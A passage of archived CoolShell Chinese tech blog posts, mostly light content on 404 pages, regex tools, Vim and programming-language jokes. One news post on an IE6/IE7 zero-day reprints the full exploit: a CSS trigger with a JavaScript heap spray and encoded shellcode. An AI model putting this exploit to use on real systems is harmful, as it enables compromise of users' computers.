class=\"EnlighterJSRAW\">$ sh test.sh.c\nHello from C!\n$</pre>\n<p>当然，我并不建议你在真正的开发环境中这样使用，我只不过是在介绍一个比较有趣的用法，仅此而已！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11973.html\"><img alt=\"bash代码注入的安全漏洞\" height=\"150\" src=\"../wp-content/uploads/2014/09/bashbug-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11973.html\">bash代码注入的安全漏洞</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1824.html\">C语言和sh脚本的杂交代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-19 几个有趣的404错误页面.html",
    "content": "<html><body><p>Windows的经典蓝屏<br/>\n<a href=\"http://www.nerdiphythesoul.com/404.html\">http://www.nerdiphythesoul.com/404.html</a><br/>\n<a href=\"http://huml.org/404.shtml\">http://huml.org/404.shtml</a></p>\n<p>IE经典的404错误（但却又不一样）<br/>\n<a href=\"http://www.homestarrunner.com/systemisdown.html\">http://www.homestarrunner.com/systemisdown.html</a></p>\n<p>出错的时候不忘让你学习学习HTTP的返回码<br/>\n<a href=\"http://www.notonebit.com/s\">http://www.notonebit.com/s</a></p>\n<p><span id=\"more-1826\"></span></p>\n<p>漫画式的出错(这样的方法可能会很多)<br/>\n<a href=\"http://www.homestarrunner.com/thisisntgoingtowork\">http://www.homestarrunner.com/thisisntgoingtowork</a></p>\n<p>废话！当然是文件找不到！<br/>\n<a href=\"http://www.itchyrobot.com/404\">http://www.itchyrobot.com/404</a></p>\n<p>ASCII码拼成的404<br/>\n<a href=\"http://10e.org/404.html\">http://10e.org/404.html</a><br/>\n<a href=\"http://www.zhangshuodesign.com/404.html\">http://www.zhangshuodesign.com/404.html</a></p>\n<p>出错了，那就玩个游戏吧<br/>\n<a href=\"http://atomicbombshell.com/error-page/\">http://atomicbombshell.com/error-page/</a><br/>\n<a href=\"http://www.loadeddice.co.uk/errors/404.php\">http://www.loadeddice.co.uk/errors/404.php</a><br/>\n<a href=\"http://s8.hk/error/page404.html\">http://s8.hk/error/page404.html</a></p>\n<p>随机搞笑图片<br/>\n<a href=\"http://www.b3ta.com/404\">http://www.b3ta.com/404</a></p>\n<p>终端界面式的<br/>\n<a href=\"http://www.psyklone.com/jhjhj.html\">http://www.psyklone.com/jhjhj.html</a></p>\n<p>超级玛丽<br/>\n<a href=\"http://www.dawdle.com/error_page.php\">http://www.dawdle.com/error_page.php</a></p>\n<p>流程图<br/>\n<a href=\"http://www.orangecoat.com/404\">http://www.orangecoat.com/404</a><br/>\n<a href=\"http://rubberducky.org/404\">http://rubberducky.org/404</a></p>\n<p>生活中的404<br/>\n<a href=\"http://www.ddz.net/404/index.htm\">http://www.ddz.net/404/index.htm</a></p>\n<p>通缉不存在的页面<br/>\n<a href=\"http://www.hongkiat.com/blog/60-really-cool-and-creative-error-404-pages/\">http://www.hongkiat.com/blog/60-really-cool-and-creative-error-404-pages/</a></p>\n<p>电视屏幕型<br/>\n<a href=\"http://aviationreviews.com/404\">http://aviationreviews.com/404</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12206.html\"><img alt=\"HTML6 展望\" height=\"150\" src=\"../wp-content/uploads/2014/12/html6-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1826.html\">几个有趣的404错误页面</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-20 正则表达式生成器.html",
    "content": "<html><body><p><a href=\"http://www.txt2re.com/index.php3\" target=\"_blank\"></a> 对正则表达式很头疼，是不是？每次看到都觉得像看天书似的，别说让人自己整一个出来了。下面这个网站可以帮你生成正则表达式，而且还可以根据不同的语言生成不同的代码示例，很强大。</p>\n<p style=\"text-align: center;\"><a href=\"http://www.txt2re.com/index.php3\" target=\"_blank\"><img alt=\"txt2re.com\" height=\"104\" src=\"../wp-content/uploads/2009/11/txt2re.jpg\" title=\"txt2re.com\" width=\"270\"/></a></p>\n<p style=\"text-align: center;\"><a href=\"http://www.txt2re.com/index.php3\" target=\"_blank\">http://www.txt2re.com/index.php3</a></p>\n<p style=\"text-align: left;\">打开上面那个网页，你会看到有三步。</p>\n<ul>\n<li>\n<div style=\"text-align: left;\">第一步，输出你想匹配的一个文本示例，然后点“Show Machted”，于是进入第二点。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">第二步，当你看到那花花绿绿的界面是不要头大（那个配色也太可怕了），那是这个会把你的这个字串每个字符都拆出来，并把单词分隔。于是，你可以点击那些花绿格子间的链接来组织你的正规表达式。，比如：c表示任意字符，还有什么int,day,string之流的东西。（相当ugly的界面）在这一步，你一点要点点什么，不然不会进入第三步。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">第三步，选择一个编程语言，然后你可以看到相关的代码示例。语言支持：Perl  PHP  Python  Java  Javascript  ColdFusion  C  C++  Ruby  VB  VBScript  J#.net  C#.net  C++.net  VB.net （这么多）</div>\n</li>\n</ul>\n<p style=\"text-align: left;\">总之，这是一个很酷，但却界面很丑陋的在线的正则表达式生成工具。</p>\n<p style=\"text-align: left;\"> </p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2704.html\"><img alt=\"检查素数的正则表达式\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2704.html\">检查素数的正则表达式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2667.html\"><img alt=\"浏览器正则表达式检查插件\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2667.html\">浏览器正则表达式检查插件</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1387.html\"><img alt=\"十个Web开发文章和教程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1387.html\">十个Web开发文章和教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3136.html\"><img alt=\"chmod -x chmod的N种解法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3136.html\">chmod -x chmod的N种解法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/737.html\"><img alt=\"某Python实现的尾部递归\" height=\"150\" src=\"../wp-content/uploads/2009/04/snake-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/737.html\">某Python实现的尾部递归</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/595.html\"><img alt=\"Oracle成功收购Sun\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/595.html\">Oracle成功收购Sun</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1830.html\">正则表达式生成器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-22 IE6_IE7 0day 漏洞.html",
    "content": "<html><body><p></p>\n<div>\n<p>昨天（2009年11月21日），Symantec发布了<a href=\"http://www.symantec.com/connect/blogs/zero-day-internet-explorer-exploit-published\" target=\"_blank\">IE的一个0day安全漏洞的消息</a>。关于这个消息，截止本文发布时，在中文社区里还没有报导。这是一个关于IE6/IE7处理CSS时的一个漏洞（<a href=\"https://coolshell.cn/articles/1817.html\" target=\"_blank\">关于IE和CSS的BUG</a>）。如果你目前还在使用IE6/IE7，那你现在可能是你升级的时候了，当然，有很多人说IE8是没有问题的，但我个人还是建议在补丁出来之前先使用Firefox或Chrome。</p>\n<p>根据Symantec的的报告，他们在第一时间内测试了那个“Exploit Code”（攻击代码），根据测试结果表时，那个JavaScript的攻击代码并不是100%的可靠，而且很不可靠，但安全专家相信，100%完全可靠的“攻击代码”将会马上出现。这意味着，这段攻击代码会马上如潮水一样地放在各个有恶意的网站上，然后，所有的IE6/IE7的，打开JavaScript的用户都会被危及。</p>\n<p>目前，这段攻击代码，虽然很不可靠，但已经被证明在IE6/IE7的 Windows XP SP3上是可靠的，目前还没有相关报告说明有多少台电脑中招了，但我相信，在过去的这个周末，一定有一些人在拼命地在改善这段攻击代码，他们要赶在相关的补丁出来之前。而Microsoft，相信他还是和以前一样，一定要等到攻击很广泛的时候才会开始真正把补丁提上日程。</p>\n<p>最后，说一下攻击代码，这个代码是在<a href=\"http://seclists.org/bugtraq/2009/Nov/148\" target=\"_blank\">Bugtraq邮件组</a>中，这段攻击代码如下所示，这段代码攻击性并不可靠。</p>\n<p><span id=\"more-1835\"></span></p>\n<pre class=\"EnlighterJSRAW\">&lt;!--\nsecuritylab.ir\nK4mr4n_st () yahoo com\n--&gt;\n&lt;!DOCTYPE HTML PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\n\"&lt;a href=\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&lt;/a&gt;\";&gt;\n&lt;HTML xmlns=&lt;a href=\"http://www.w3.org/1999/xhtml\"&gt;http://www.w3.org/1999/xhtml&lt;/a&gt;;&gt;\n    &lt;HEAD&gt;\n&lt;script&gt;  \n            function load(){\n                var e;\n                e=document.getElementsByTagName(\"STYLE\")[0];\n                e.outerHTML=\"1\";\n            }\n        &lt;/script&gt;    \n        &lt;STYLE type=\"text/css\"&gt;\n            body{ overflow: scroll; margin: 0; }\n        &lt;/style&gt;\n       \n        &lt;SCRIPT language=\"javascript\"&gt;\nvar shellcode =\nunescape(\"%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063\");\nvar bigblock = unescape(\"%u9090%u9090\");\nvar headersize = 20;\nvar slackspace = headersize+shellcode.length;\nwhile (bigblock.length&lt;slackspace) bigblock+=bigblock;\nfillblock = bigblock.substring(0, slackspace);\nblock = bigblock.substring(0, bigblock.length-slackspace);\nwhile(block.length+slackspace&lt;0x40000) block = block+block+fillblock;\nmemory = new Array();\nfor (x=0; x&lt;4000; x++) memory[x] = block + shellcode;\n&lt;/script&gt;\n \n    &lt;/HEAD&gt;   \n    &lt;BODY onload=\"load()\"&gt;\n    &lt;/BODY&gt;\n&lt;/HTML&gt;</pre>\n<p> </p>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7186.html\"><img alt=\"做个环保主义的程序员\" height=\"150\" src=\"../wp-content/uploads/2012/04/Green-Computing-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7186.html\">做个环保主义的程序员</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5107.html\"><img alt=\"10大经典错误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4914.html\"><img alt=\"新浪微博的XSS攻击\" height=\"150\" src=\"../wp-content/uploads/2011/06/sina_xss01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4914.html\">新浪微博的XSS攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3921.html\"><img alt=\"中国仍是IE6的重灾区\" height=\"150\" src=\"../wp-content/uploads/2011/03/IE6-Countdown-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3921.html\">中国仍是IE6的重灾区</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3872.html\"><img alt=\"微软用新浪来当反面教材\" height=\"150\" src=\"../wp-content/uploads/2011/03/affc-image1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3872.html\">微软用新浪来当反面教材</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1835.html\">IE6/IE7 0day 漏洞</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-23 Eclipse 和 Vim.html",
    "content": "<html><body><p>以前，neo和发布过<a href=\"https://coolshell.cn/articles/894.html\" rel=\"bookmark\">如何在vim中得到你最喜爱的IDE特性</a>，这是一篇在vim中装一些插件而让Vim拥有IDE的功能，比如代码自动提示等功能。当然，目前，可能强大最好用的IDE就是<a href=\"http://eclipse.org/\">Eclipse</a>和，而最强大的编辑器又是<a href=\"http://vim.org/\">Vim</a>了，可不可以让这两个东西合二为一呢。没有问题，开源社区的创造力永远不会让你低估。</p>\n<p>在Vim中拥有Eclipse的功能，在Eclipse里有Vim的功能，那么eclim是你的选择了。<a href=\"http://eclim.org/\">http://eclim.org/</a> 相关的<a href=\"http://eclim.org/translations/zh_TW/vim/cheatsheet.html#translations-zh-tw-vim-cheatsheet\" target=\"_blank\">中文文档</a>。使用eclim，你可以在vim中有Eclipse的功能，也可以在Eclipse中嵌入Vim编辑器。很酷。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-3029\" height=\"408\" src=\"../wp-content/uploads/2009/11/eclim.png\" title=\"eclim\" width=\"490\"/></p>\n<p style=\"text-align: left;\"><span id=\"more-1837\"></span></p>\n<p style=\"text-align: center;\"><img alt=\"_images/java_editor_eclim_view.png\" height=\"519\" src=\"http://eclim.org/_images/gvim_eclim_view.png\" width=\"696\"/></p>\n<p>还有一个工具是<strong>Vrapper</strong>，这个工具是在Eclipse中使用Vim，你只需要在Eclipse的工具栏上点一下那个gvim的按钮就可以了。</p>\n<p><a href=\"http://vrapper.sourceforge.net/home/\">http://vrapper.sourceforge.net/home/</a></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"alignnone\" height=\"114\" src=\"http://vrapper.sourceforge.net/img/toolbar_button.png\" title=\"Vrapper\" width=\"174\"/></p>\n<p>（全文完）<a href=\"https://coolshell.cn/articles/894.html\" rel=\"bookmark\"></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3181.html\"><img alt=\"Eclipse和Vim快捷键桌面\" height=\"150\" src=\"../wp-content/uploads/2010/10/EclipseCanoo1440x900-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3181.html\">Eclipse和Vim快捷键桌面</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11312.html\"><img alt=\"无插件Vim编程技巧\" height=\"150\" src=\"../wp-content/uploads/2014/03/success_vim-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11312.html\">无插件Vim编程技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7829.html\"><img alt=\"28个Unix/Linux的命令行神器\" height=\"150\" src=\"../wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7166.html\"><img alt=\"游戏：VIM大冒险\" height=\"150\" src=\"../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1837.html\">Eclipse 和 Vim</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-24 编程语言汽车.html",
    "content": "<html><body><p><strong><img alt=\"Oscar Mayer Wienermobile\" class=\"alignright\" height=\"167\" src=\"../wp-content/uploads/2009/11/oscar-meyer-wienermobile.jpg\" title=\"Oscar Mayer Wienermobile\" width=\"225\"/></strong>以前酷壳发布过《<a href=\"https://coolshell.cn/articles/1272.html\" rel=\"bookmark\">操作系统航空公司</a>》戏谑了一下如果操作系统是航空公司会怎么样的一种情况。现在，我们来YY一下编程语言，如果编程语言是汽车，又会怎么样？</p>\n<li><strong>Ada</strong>   这是一辆坦克。一个很厚重但很丑的坦克，从不会崩溃。如果你告诉别人你正在驾驶Ada，别人会狂笑不已。但是，你会开着一辆跑车去打战吗？[from Amit Dubey]</li>\n<li><strong>汇编语言</strong>   只是一个祼露在外的引擎。你不得不自己去造车，并向其提供汽油，但你在驾车时要小心，因为他会像一只从地狱放出来的蝙蝠一样。其实，对于汇编语言，你自己才是车。[From “Subterfug” off digg.com:]</li>\n<li><strong>Basic</strong>   是一辆很简单的车，对于一些短途的交通比如去一些超市商店，他是很有用的。以前这是一个对初学者很流行的车，然而，近来它蜕变成脚本，而更新的车型被抛光以应对长途旅程，但那也只是新瓶装旧酒。[from Przemyslaw Wrzos]</li>\n<li><strong>C</strong>   是一辆赛车，它的速度是令人难以想象的快，可惜的是它每50公里就会损毁一次。</li>\n<li><strong>Cobol</strong>   号称是一辆车，但是，没有哪个“有自尊的司机”会承认以前驾驶过它。</li>\n<li><strong>C#</strong>   是一个竞争性的家庭旅行车。一旦你开始使用，你就别想再使用别的竞争者的产品了。</li>\n<li><strong>C++</strong>   是一个加大马力的C赛车，其有一堆新增的功能，而且，它只会每250公里损毁一次。可是，一旦它有故障，没人会知道故障发生在哪里。</li>\n<p><span id=\"more-1839\"></span></p>\n<li><strong>Eiffel</strong>   是一个车，其包括了一个法国口音的内建的驾驶讲师。他会帮你很快的识别你的错误，但是你不能和他争，不然，他会凌辱你后毫不迟疑地把你扔到窗外。[From Daniel Prager ]</li>\n<li><strong>Erlang</strong>   是一个汽车车队，你想去哪它都会非常合作。你只需要用一只脚就可以开动好几辆车。但是，一旦你学会了如何在它给你设计的地形上驾驶，你就会很难在别的地形上驾驶了。另外，由于你一次驾驶好几辆车，所以，就算是其中几车损毁了也无关紧要。</li>\n<li><strong>Forth</strong>   是一辆你通过一些工具可以自己造出来的车。你的这个车不需要像别的车。然后，一辆Forth 车只有倒档。[By “256byteram”, on a comment on Digg.com ]</li>\n<li><strong>Fortran</strong>   是一个非常漂亮的老爷车。它可以走得很快，但条件是那是一条很直的路，而且路上只有你自己。我们相信，学习去驾驶一辆Fortran车，你就可能去学习别的车型。</li>\n<li><strong>Java</strong>   也是一个家用旅行车，很容易驾驶，但不是很快，而且这是一个你无法伤害自己的车。</li>\n<li><strong>Haskell</strong>  是一个令人难以想象的超完美设计的相当漂亮的车，有谣言说，这是一辆要可以行驶在极端怪异地形上的车。有一天，你尝试着要去开它，但你发现它并不是顺着路行驶，而是，它把自己和道路都复制了很多份，每一个道路的复制品上都有一辆车，而这些车的位置都比前一个要往前一些。按理来说，我们可以更便捷地驾驶它，但你却对数据不是很懂，所以，你不知道怎么做。<br/>\n[Monadic 版:]<strong>Haskell</strong>  并不是一个真正的车。这是一个抽象机器，你需要给足你是怎么去驾驶汽车的流程描述。你不得不把这些抽象机器放到某一个真实的机器中，这样它才能真正的行驶。你并不需要知道，那个真实的机器是怎么工作的。而且，我们还可以把多个抽象机器作成一个抽象机器，这样，当你把其放进真实机器中时，你就能去很多地方了。</li>\n<li><strong>Lisp</strong>  